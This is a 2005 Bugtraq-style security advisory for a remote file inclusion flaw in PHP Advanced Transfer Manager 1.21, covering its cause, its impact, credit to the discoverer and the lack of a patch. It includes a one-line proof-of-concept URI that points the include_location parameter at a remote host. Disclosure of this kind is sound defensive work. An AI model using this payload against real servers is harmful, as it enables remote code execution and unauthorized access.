PHP Advanced Transfer Manager Arbitrary File Include Vulnerability

Bugtraq ID:	13691
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 19 2005 12:00AM
Updated:	May 19 2005 12:00AM
Credit:	Ingvar Gilbert <[email protected]> is credited with the discovery of this vulnerability.
Vulnerable:	PHP Advanced Transfer Manager PHP Advanced Transfer Manager 1.21
Not Vulnerable:

PHP Advanced Transfer Manager Arbitrary File Include Vulnerability

PHP Advanced Transfer Manager is prone to an arbitrary file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

PHP Advanced Transfer Manager Arbitrary File Include Vulnerability

No exploit is required.

The following proof of concept URI is available:
http://www.example.com/index.php?include_location=http://www.example.com/

PHP Advanced Transfer Manager Arbitrary File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

PHP Advanced Transfer Manager Arbitrary File Include Vulnerability

References:

• phpATM Homepage (PHP Advanced Transfer Manager)
  
• phpATM arbitrary PHP code inclusion (Ingvar Gilbert )